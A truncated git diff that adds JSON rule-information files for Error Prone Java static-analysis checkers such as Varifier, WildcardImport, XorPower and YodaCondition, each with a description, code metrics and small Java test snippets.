"unnecessaryFinalNativeMethod", + "expected-problems": null, + "expected-linenumbers": [ + 182 + ], + "code": "class Test {\n // BUG: Diagnostic contains: native void f(int y);\n native void f(final int y);\n }" + }, + { + "description": "nativeMethod", + "expected-problems": null, + "expected-linenumbers": [ + 196 + ], + "code": "" + }, + { + "description": "abstractMethod", + "expected-problems": null, + "expected-linenumbers": [ + 208 + ], + "code": "" + }, + { + "description": "interfaceMethod", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "" + }, + { + "description": "varField", + "expected-problems": null, + "expected-linenumbers": [ + 232 + ], + "code": "import com.google.errorprone.annotations.Var;\n\n class Test {\n @Var public int x = 42;\n }" + }, + { + "description": "varParam", + "expected-problems": null, + "expected-linenumbers": [ + 247 + ], + "code": "import com.google.errorprone.annotations.Var;\n\n class Test {\n public void x(@Var int y) {\n y++;\n }\n }" + }, + { + "description": "varLocal", + "expected-problems": null, + "expected-linenumbers": [ + 264 + ], + "code": "import com.google.errorprone.annotations.Var;\n\n class Test {\n public void x() {\n @Var int y = 0;\n y++;\n }\n }" + }, + { + "description": "varCatch", + "expected-problems": null, + "expected-linenumbers": [ + 282 + ], + "code": "class Test {\n public void x() {\n try {\n // BUG: Diagnostic contains: missing @Var\n } catch (Exception e) {\n e = null;\n }\n }\n }" + }, + { + "description": "finalCatch", + "expected-problems": null, + "expected-linenumbers": [ + 301 + ], + "code": "class Test {\n public void x() {\n try {\n // BUG: Diagnostic contains: Unnecessary 'final' modifier.\n } catch (final Exception e) {\n }\n }\n }" + }, + { + "description": "finalTWR", + "expected-problems": null, + "expected-linenumbers": [ + 319 + ], + "code": "import java.io.InputStream;\n\n class Test {\n public void x() {\n // BUG: Diagnostic contains: Unnecessary 'final' modifier.\n try (final InputStream is = null) {\n } catch (Exception e) {\n }\n }\n }" + }, + { + "description": "nonFinalTWR", + "expected-problems": null, + "expected-linenumbers": [ + 339 + ], + "code": "import java.io.InputStream;\n\n class Test {\n public void x() {\n try (InputStream is = null) {\n } catch (Exception e) {\n }\n }\n }" + }, + { + "description": "receiverParameter", + "expected-problems": null, + "expected-linenumbers": [ + 358 + ], + "code": "class Test {\n public void f(Test this, int x) {\n this.toString();\n }\n }" + }, + { + "description": "suppressedByGeneratedAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 373 + ], + "code": "import javax.annotation.processing.Generated;\n\n @Generated(\"generator\")\n class Test {\n public void x() {\n final int y = 0;\n }\n }" + }, + { + "description": "suppressedBySuppressWarningsAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 391 + ], + "code": "@SuppressWarnings(\"Var\")\n class Test {\n public void x() {\n final int y = 0;\n }\n }" + }, + { + "description": "notSuppressedByUnrelatedSuppressWarningsAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 407 + ], + "code": "@SuppressWarnings(\"Foo\")\n class Test {\n public void x() {\n // BUG: Diagnostic contains: Unnecessary 'final' modifier.\n final int y = 0;\n }\n }" + }, + { + "description": "effectivelyFinal", + "expected-problems": null, + "expected-linenumbers": [ + 424 + ], + "code": "import com.google.errorprone.annotations.Var;\n\n class Test {\n int f(\n // BUG: Diagnostic contains: @Var variable is never modified\n @Var int x, @Var int y) {\n y++;\n return x + y;\n }\n }" + }, + { + "description": "recordCanonicalConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 444 + ], + "code": "// BUG: Diagnostic contains:\n public record Test(String x) {\n public Test {\n x = x.replace('_', ' ');\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VarTypeName.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VarTypeName.json new file mode 100644 index 0000000..b08ec41 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VarTypeName.json @@ -0,0 +1,30 @@ +{ + "name": "VarTypeName", + "language": "java", + "description": "`var` should not be used as a type name.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 42, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "class Test {\n int var;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VariableNameSameAsType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VariableNameSameAsType.json new file mode 100644 index 0000000..4953993 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VariableNameSameAsType.json @@ -0,0 +1,86 @@ +{ + "name": "VariableNameSameAsType", + "language": "java", + "description": "variableName and type with the same name would refer to the static field instead of the class", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveInsideMethod", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains: VariableNameSameAsType\n String String;\n }\n }" + }, + { + "description": "positiveLambda", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import java.util.function.Predicate;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: Variable named String has the type String\n Predicate p = (String) -> String.isEmpty();\n }\n }" + }, + { + "description": "positiveInitialized", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains: VariableNameSameAsType\n String String = \"Kayla\";\n }\n }" + }, + { + "description": "positiveInitializedSeparate", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains: VariableNameSameAsType\n String String;\n String = \"Kayla\";\n }\n }" + }, + { + "description": "positiveField", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "class Test {\n // BUG: Diagnostic contains: VariableNameSameAsType\n String String;\n\n void f() {}\n }" + }, + { + "description": "negativeLowerCase", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "class Test {\n void f() {\n String string;\n }\n }" + }, + { + "description": "negativeInitializedLowerCase", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "class Test {\n void f() {\n String string = \"Kayla\";\n }\n }" + }, + { + "description": "negativeInitializedSeparate", + "expected-problems": null, + "expected-linenumbers": [ + 146 + ], + "code": "class Test {\n void f() {\n String string;\n string = \"Kayla\";\n }\n }" + }, + { + "description": "negativeOther", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "class Test {\n void f() {\n String t;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Varifier.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Varifier.json new file mode 100644 index 0000000..23feac3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Varifier.json @@ -0,0 +1,94 @@ +{ + "name": "Varifier", + "language": "java", + "description": "Consider using `var` here to avoid boilerplate.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 106, + "branches": 9, + "apis": 2, + "test": [ + { + "description": "cast", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n public void t(Object o) {\n Test t = (Test) o;\n }\n }\n \n\n class Test {\n public void t(Object o) {\n var t = (Test) o;\n }\n }" + }, + { + "description": "constructor", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "class Test {\n public void t() {\n Test t = new Test();\n }\n }\n \n\n class Test {\n public void t() {\n var t = new Test();\n }\n }" + }, + { + "description": "constructor_usingDiamond", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "import java.util.ArrayList;\n\n class Test {\n public void t() {\n ArrayList xs = new ArrayList<>();\n }\n }" + }, + { + "description": "constructor_usingExplicitType", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "import java.util.ArrayList;\n\n class Test {\n public void t() {\n ArrayList xs = new ArrayList();\n }\n }\n \n\n import java.util.ArrayList;\n\n class Test {\n public void t() {\n var xs = new ArrayList();\n }\n }" + }, + { + "description": "alreadyVar", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "class Test {\n public void t() {\n var t = new Test();\n }\n }" + }, + { + "description": "fromInstanceMethod", + "expected-problems": null, + "expected-linenumbers": [ + 140 + ], + "code": "abstract class Test {\n public void t() {\n Test t = t2();\n }\n\n public abstract Test t2();\n }" + }, + { + "description": "builder", + "expected-problems": null, + "expected-linenumbers": [ + 158 + ], + "code": "import com.google.protobuf.Duration;\n\n abstract class Test {\n public void t() {\n Duration duration = Duration.newBuilder().setSeconds(4).build();\n }\n }\n \n\n import com.google.protobuf.Duration;\n\n abstract class Test {\n public void t() {\n var duration = Duration.newBuilder().setSeconds(4).build();\n }\n }" + }, + { + "description": "fromFactoryMethod", + "expected-problems": null, + "expected-linenumbers": [ + 186 + ], + "code": "import java.time.Instant;\n\n class Test {\n public void t() {\n Instant now = Instant.ofEpochMilli(1);\n }\n }\n \n\n import java.time.Instant;\n\n class Test {\n public void t() {\n var now = Instant.ofEpochMilli(1);\n }\n }" + }, + { + "description": "varUnused", + "expected-problems": null, + "expected-linenumbers": [ + 214 + ], + "code": "class Test {\n public void trim(String string) {\n String unused = string.trim();\n }\n }\n \n\n class Test {\n public void trim(String string) {\n var unused = string.trim();\n }\n }" + }, + { + "description": "assertThrows", + "expected-problems": null, + "expected-linenumbers": [ + 238 + ], + "code": "import static org.junit.Assert.assertThrows;\n\nclass Test {\n public void testFoo() {\n Object nil = null;\n NullPointerException thrown = assertThrows(NullPointerException.class, () -> nil.toString());\n }\n}\n\n\n import static org.junit.Assert.assertThrows;\n\n class Test {\n public void testFoo() {\n Object nil = null;\n var thrown = assertThrows(NullPointerException.class, () -> nil.toString());\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VoidUsed.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VoidUsed.json new file mode 100644 index 0000000..21bfef6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VoidUsed.json @@ -0,0 +1,38 @@ +{ + "name": "VoidUsed", + "language": "java", + "description": "Using a Void-typed variable is potentially confusing, and can be replaced with a literal `null`.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "class Test {\n void test(Void v) {\n // BUG: Diagnostic contains: null\n System.out.println(v);\n }\n }" + }, + { + "description": "notVoid_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 45 + ], + "code": "class Test {\n void test(Integer v) {\n System.out.println(v);\n }\n }" + }, + { + "description": "assignedTo_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "class Test {\n void test(Void v) {\n v = null;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WaitNotInLoop.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WaitNotInLoop.json new file mode 100644 index 0000000..615f9d8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WaitNotInLoop.json @@ -0,0 +1,22 @@ +{ + "name": "WaitNotInLoop", + "language": "java", + "description": "Because of spurious wakeups, Object.wait() and Condition.await() must always be called in a loop", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 67, + "branches": 11, + "apis": 2, + "test": [ + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 118 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/**\n * @author eaftan@google.com (Eddie Aftandilian)\n *

TODO(eaftan): Add test cases for enhanced for loop, loop outside synchronized block.\n */\npublic class WaitNotInLoopNegativeCases {\n\n boolean flag = true;\n\n public void test1() {\n synchronized (this) {\n while (!flag) {\n try {\n wait();\n } catch (InterruptedException e) {\n }\n }\n }\n }\n\n public void test2() {\n synchronized (this) {\n while (!flag) {\n try {\n wait(1000);\n } catch (InterruptedException e) {\n }\n }\n }\n }\n\n public void test3() {\n synchronized (this) {\n while (!flag) {\n try {\n wait(1000, 1000);\n } catch (InterruptedException e) {\n }\n }\n }\n }\n\n // This code is incorrect, but this check should not flag it.\n public void testLoopNotInSynchronized() {\n while (!flag) {\n synchronized (this) {\n try {\n wait();\n } catch (InterruptedException e) {\n }\n }\n }\n }\n\n public void testDoLoop() {\n synchronized (this) {\n do {\n try {\n wait();\n } catch (InterruptedException e) {\n }\n } while (!flag);\n }\n }\n\n public void testForLoop() {\n synchronized (this) {\n for (; !flag; ) {\n try {\n wait();\n } catch (InterruptedException e) {\n }\n }\n }\n }\n\n public void testEnhancedForLoop() {\n int[] arr = new int[100];\n synchronized (this) {\n for (int i : arr) {\n try {\n wait();\n } catch (InterruptedException e) {\n }\n }\n }\n }\n\n private void wait(Object obj) {}\n\n public void testNotObjectWait() {\n wait(new Object());\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WildcardImport.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WildcardImport.json new file mode 100644 index 0000000..102bb90 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WildcardImport.json @@ -0,0 +1,166 @@ +{ + "name": "WildcardImport", + "language": "java", + "description": "Wildcard imports, static or otherwise, should not be used", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 244, + "branches": 39, + "apis": 5, + "test": [ + { + "description": "chainOffStatic", + "expected-problems": null, + "expected-linenumbers": [ + 40 + ], + "code": "package a;\n\n public class One {\n public static Two THE_INSTANCE = null;\n }\n \n\n package a;\n\n public class Two {\n public static String MESSAGE = \"Hello\";\n }\n \n\n package test;\n\n import static a.One.*;\n\n public class Test {\n String m = THE_INSTANCE.MESSAGE;\n }\n \n\n package test;\n\n import static a.One.THE_INSTANCE;\n\n public class Test {\n String m = THE_INSTANCE.MESSAGE;\n }" + }, + { + "description": "classLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "package a;\n\n public class A {}\n \n\n package test;\n\n import a.*;\n\n public class Test {\n void m() {\n System.err.println(A.class);\n }\n }\n \n\n package test;\n\n import a.A;\n\n public class Test {\n void m() {\n System.err.println(A.class);\n }\n }" + }, + { + "description": "staticMethod", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "package a;\n\n public class A {\n public static void f() {}\n }\n \n\n package test;\n\n import static a.A.*;\n\n public class Test {\n void m() {\n f();\n }\n }\n \n\n package test;\n\n import static a.A.f;\n\n public class Test {\n void m() {\n f();\n }\n }" + }, + { + "description": "enumTest", + "expected-problems": null, + "expected-linenumbers": [ + 170 + ], + "code": "package test;\n\n import static java.nio.charset.StandardCharsets.*;\n\n public class Test {\n void m() {\n System.err.println(UTF_8);\n }\n }\n \n\n package test;\n\n import static java.nio.charset.StandardCharsets.UTF_8;\n\n public class Test {\n void m() {\n System.err.println(UTF_8);\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 202 + ], + "code": "package test;\n\n import java.util.*;\n\n public class Test {\n java.util.Map.Entry e;\n C c;\n\n static class C {}\n }\n \n\n package test;\n\n public class Test {\n java.util.Map.Entry e;\n C c;\n\n static class C {}\n }" + }, + { + "description": "doublePrefix", + "expected-problems": null, + "expected-linenumbers": [ + 234 + ], + "code": "package foo;\n\n public class Foo {}\n \n\n package foo.bar;\n\n public class Bar {}\n \n\n package test;\n\n import foo.*;\n import foo.bar.*;\n\n public class Test {\n void f(Bar c) {}\n }\n \n\n package test;\n\n import foo.bar.Bar;\n\n public class Test {\n void f(Bar c) {}\n }" + }, + { + "description": "positiveClassSelect", + "expected-problems": null, + "expected-linenumbers": [ + 279 + ], + "code": "package test;\n\n import java.util.*;\n\n public class Test {\n Map.Entry e;\n C c;\n\n static class C {}\n }\n \n\n package test;\n\n import java.util.Map;\n\n public class Test {\n Map.Entry e;\n C c;\n\n static class C {}\n }" + }, + { + "description": "positiveInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 313 + ], + "code": "package test;\n\n import java.util.Map.*;\n\n public class Test {\n Entry e;\n C c;\n\n static class C {}\n }\n \n\n package test;\n\n import java.util.Map.Entry;\n\n public class Test {\n Entry e;\n C c;\n\n static class C {}\n }" + }, + { + "description": "dontImportRuntime", + "expected-problems": null, + "expected-linenumbers": [ + 347 + ], + "code": "package test;\n\n public class Test {\n String s;\n }\n \n\n package test;\n\n public class Test {\n String s;\n }" + }, + { + "description": "dontImportSelf", + "expected-problems": null, + "expected-linenumbers": [ + 371 + ], + "code": "package test;\n\n import java.util.*;\n\n public class Test {\n Test s;\n }\n \n\n package test;\n\n public class Test {\n Test s;\n }" + }, + { + "description": "dontImportSelfPrivate", + "expected-problems": null, + "expected-linenumbers": [ + 397 + ], + "code": "package test;\n\n import test.Test.Inner.*;\n\n public class Test {\n public static class Inner {\n private static class InnerMost {\n InnerMost i;\n }\n }\n }\n \n\n package test;\n\n public class Test {\n public static class Inner {\n private static class InnerMost {\n InnerMost i;\n }\n }\n }" + }, + { + "description": "dontImportSelfNested", + "expected-problems": null, + "expected-linenumbers": [ + 431 + ], + "code": "package test;\n\n import java.util.*;\n\n public class Test {\n public static class Inner {\n Inner t;\n }\n }\n \n\n package test;\n\n public class Test {\n public static class Inner {\n Inner t;\n }\n }" + }, + { + "description": "importSamePackage", + "expected-problems": null, + "expected-linenumbers": [ + 461 + ], + "code": "package test;\n\n public class A {\n public static class Inner {}\n }\n \n\n package test;\n\n import test.A.*;\n\n public class Test {\n Inner t;\n }\n \n\n package test;\n\n import test.A.Inner;\n\n public class Test {\n Inner t;\n }" + }, + { + "description": "negativeNoWildcard", + "expected-problems": null, + "expected-linenumbers": [ + 499 + ], + "code": "package test;\n\n import java.util.Map;\n\n public class Test {\n Map.Entry e;\n C c;\n\n static class C {}\n }" + }, + { + "description": "sameUnitWithSpuriousWildImport", + "expected-problems": null, + "expected-linenumbers": [ + 519 + ], + "code": "package test;\n\n import java.util.Map;\n\n public class Test {\n Map.Entry e;\n C c;\n\n private static class C {}\n }\n \n\n package test;\n\n import java.util.Map;\n\n public class Test {\n Map.Entry e;\n C c;\n\n private static class C {}\n }" + }, + { + "description": "nonCanonical", + "expected-problems": null, + "expected-linenumbers": [ + 553 + ], + "code": "package a;\n\n public class One extends Two {}\n \n\n package a;\n\n public class Two {\n public static class Inner {}\n }\n \n\n package test;\n\n import static a.One.*;\n\n public class Test {\n Inner i;\n }\n \n\n package test;\n\n import a.Two.Inner;\n\n public class Test {\n Inner i;\n }" + }, + { + "description": "memberImport", + "expected-problems": null, + "expected-linenumbers": [ + 599 + ], + "code": "package test;\n\n import static java.util.Arrays.*;\n import java.util.*;\n\n public class Test {\n List xs = asList(1, 2, 3);\n }\n \n\n package test;\n\n import static java.util.Arrays.asList;\n import java.util.List;\n\n public class Test {\n List xs = asList(1, 2, 3);\n }" + }, + { + "description": "qualifyMembersFix", + "expected-problems": null, + "expected-linenumbers": [ + 634 + ], + "code": "import e.E;\n\n public class Test {\n Object[] ex = {\n E.A, E.B, E.C, E.D, E.E, E.F, E.G, E.H, E.I, E.J,\n E.K, E.L, E.M, E.N, E.O, E.P, E.Q, E.R, E.S, E.T,\n E.U, E.V, E.W, E.X, E.Y, E.Z\n };\n\n boolean f(e.E e) {\n switch (e) {\n case A:\n case E:\n case I:\n case O:\n case U:\n return true;\n default:\n return false;\n }\n }\n }" + }, + { + "description": "manyTypesFix", + "expected-problems": null, + "expected-linenumbers": [ + 707 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WithSignatureDiscouraged.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WithSignatureDiscouraged.json new file mode 100644 index 0000000..3e77bce --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WithSignatureDiscouraged.json @@ -0,0 +1,62 @@ +{ + "name": "WithSignatureDiscouraged", + "language": "java", + "description": "withSignature is discouraged. Prefer .named and/or .withParameters where possible.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 106, + "branches": 12, + "apis": 1, + "test": [ + { + "description": "named", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "import static com.google.errorprone.matchers.Matchers.instanceMethod;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ExpressionTree;\n\n public class Test {\n private static final Matcher TO_STRING =\n instanceMethod().anyClass().withSignature(\"toString\");\n }\n \n\n import static com.google.errorprone.matchers.Matchers.instanceMethod;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ExpressionTree;\n\n public class Test {\n private static final Matcher TO_STRING =\n instanceMethod().anyClass().named(\"toString\");\n }" + }, + { + "description": "withEmptyParameterList", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "import static com.google.errorprone.matchers.Matchers.instanceMethod;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ExpressionTree;\n\n public class Test {\n private static final Matcher TO_STRING =\n instanceMethod().anyClass().withSignature(\"toString()\");\n }\n \n\n import static com.google.errorprone.matchers.Matchers.instanceMethod;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ExpressionTree;\n\n public class Test {\n private static final Matcher TO_STRING =\n instanceMethod().anyClass().named(\"toString\").withNoParameters();\n }" + }, + { + "description": "withParameters", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "import static com.google.errorprone.matchers.Matchers.instanceMethod;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ExpressionTree;\n\n public class Test {\n private static final Matcher VALUE_OF =\n instanceMethod().anyClass().withSignature(\"valueOf(double)\");\n }\n \n\n import static com.google.errorprone.matchers.Matchers.instanceMethod;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ExpressionTree;\n\n public class Test {\n private static final Matcher VALUE_OF =\n instanceMethod().anyClass().named(\"valueOf\").withParameters(\"double\");\n }" + }, + { + "description": "leaveVarargs", + "expected-problems": null, + "expected-linenumbers": [ + 122 + ], + "code": "import static com.google.errorprone.matchers.Matchers.staticMethod;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ExpressionTree;\n\n public class Test {\n private static final Matcher STRING_FORMAT =\n staticMethod()\n .onClass(\"java.lang.String\")\n .withSignature(\"format(java.lang.String,java.lang.Object...)\");\n }" + }, + { + "description": "leaveGenerics", + "expected-problems": null, + "expected-linenumbers": [ + 143 + ], + "code": "import static com.google.errorprone.matchers.Matchers.staticMethod;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ExpressionTree;\n\n public class Test {\n private static final Matcher TO_STRING =\n staticMethod()\n .onClass(\"com.google.common.collect.ImmutableList\")\n .withSignature(\"builder()\");\n }" + }, + { + "description": "dontMigrateArrays", + "expected-problems": null, + "expected-linenumbers": [ + 164 + ], + "code": "import static com.google.errorprone.matchers.Matchers.staticMethod;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ExpressionTree;\n\n public class Test {\n private static final Matcher TO_STRING =\n staticMethod().onClass(\"java.lang.String\").withSignature(\"copyValueOf(char[])\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WrongOneof.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WrongOneof.json new file mode 100644 index 0000000..2b58b13 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WrongOneof.json @@ -0,0 +1,20 @@ +{ + "name": "WrongOneof", + "language": "java", + "description": "This field is guaranteed not to be set given it's within a switch over a one_of.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 151, + "branches": 14, + "apis": 3, + "test": [ + { + "description": null, + "expected-problems": null, + "expected-linenumbers": [], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/XorPower.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/XorPower.json new file mode 100644 index 0000000..fda42cf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/XorPower.json @@ -0,0 +1,46 @@ +{ + "name": "XorPower", + "language": "java", + "description": "The `^` operator is binary XOR, not a power operator.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 93, + "branches": 17, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 28 + ], + "code": "class Test {\n static final int X = 2 ^ 16;\n static final int TOO_BIG = 2 ^ 32;\n static final int Z = 2 ^ 31;\n static final int P = 10 ^ 6;\n }\n \n\n class Test {\n static final int X = 1 << 16;\n static final int TOO_BIG = 2 ^ 32;\n static final int Z = 1 << 31;\n static final int P = 1000000;\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "class Test {\n static final int X = 2 ^ 0x16;\n // BUG: Diagnostic contains:\n static final int Y = 2 ^ 32;\n }" + }, + { + "description": "positiveLongs", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "class Test {\n static final long X = 2L ^ 16;\n static final long Y = 2L ^ 32;\n static final long Z = 2L ^ 31;\n static final long TOO_BIG = 2L ^ 64;\n static final long P = 10L ^ 6;\n }\n \n\n class Test {\n static final long X = 1L << 16;\n static final long Y = 1L << 32;\n static final long Z = 1L << 31;\n static final long TOO_BIG = 2L ^ 64;\n static final long P = 1000000L;\n }" + }, + { + "description": "precedence", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "class Test {\n void f(int i) {\n int x = i * 2 ^ 16;\n int y = i * 10 ^ 3;\n }\n }\n \n\n class Test {\n void f(int i) {\n int x = i * (1 << 16);\n int y = i * 1000;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/YodaCondition.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/YodaCondition.json new file mode 100644 index 0000000..625d08f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/YodaCondition.json @@ -0,0 +1,118 @@ +{ + "name": "YodaCondition", + "language": "java", + "description": "The non-constant portion of a comparison generally comes first. For equality, prefer e.equals(CONSTANT) if e is non-null or Objects.equals(e, CONSTANT) if e may be null. For standard operators, prefer e CONSTANT.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 208, + "branches": 27, + "apis": 8, + "test": [ + { + "description": "primitive", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "class Test {\n boolean yoda(int a) {\n return 4 == a;\n }\n\n boolean notYoda(int a) {\n return a == 4;\n }\n }\n \n\n class Test {\n boolean yoda(int a) {\n return a == 4;\n }\n\n boolean notYoda(int a) {\n return a == 4;\n }\n }" + }, + { + "description": "comparison", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "class Test {\n boolean yoda(int a) {\n // BUG: Diagnostic contains: a < 4\n return 4 > a;\n }\n }" + }, + { + "description": "comparison_noFindingWithAdjacentComparison", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "class Test {\n boolean test(int a) {\n return 4 < a && a < 7 && true && false;\n }\n\n boolean test2(int a) {\n return true && false && 4 < a && a < 7;\n }\n }" + }, + { + "description": "boxedBoolean", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "class Test {\n boolean yoda(Boolean a) {\n return Boolean.TRUE.equals(a);\n }\n }\n \n\n import java.util.Objects;\n\n class Test {\n boolean yoda(Boolean a) {\n return Objects.equals(a, Boolean.TRUE);\n }\n }" + }, + { + "description": "boxedVsUnboxedBoolean", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "class Test {\n boolean yoda(boolean a) {\n return Boolean.TRUE.equals(a);\n }\n }" + }, + { + "description": "enums", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "enum E {\n A,\n B;\n\n boolean foo(E e) {\n return this == e;\n }\n }\n \n\n class Test {\n boolean yoda(E a) {\n return E.A == a;\n }\n\n boolean notYoda(E a) {\n return a == E.A;\n }\n }\n \n\n class Test {\n boolean yoda(E a) {\n return a == E.A;\n }\n\n boolean notYoda(E a) {\n return a == E.A;\n }\n }" + }, + { + "description": "nullIntolerantFix", + "expected-problems": null, + "expected-linenumbers": [ + 197 + ], + "code": "enum E {\n A,\n B\n }\n \n\n class Test {\n boolean yoda(E a) {\n return E.A.equals(a);\n }\n }\n \n\n class Test {\n boolean yoda(E a) {\n return a.equals(E.A);\n }\n }" + }, + { + "description": "nullTolerantFix", + "expected-problems": null, + "expected-linenumbers": [ + 231 + ], + "code": "enum E {\n A,\n B\n }\n \n\n class Test {\n boolean yoda(E a) {\n return E.A.equals(a);\n }\n }\n \n\n import java.util.Objects;\n\n class Test {\n boolean yoda(E a) {\n return Objects.equals(a, E.A);\n }\n }" + }, + { + "description": "provablyNonNull_nullIntolerantFix", + "expected-problems": null, + "expected-linenumbers": [ + 266 + ], + "code": "enum E {\n A,\n B\n }\n \n\n class Test {\n boolean yoda(E a) {\n if (a != null) {\n return E.A.equals(a);\n }\n return true;\n }\n }\n \n\n class Test {\n boolean yoda(E a) {\n if (a != null) {\n 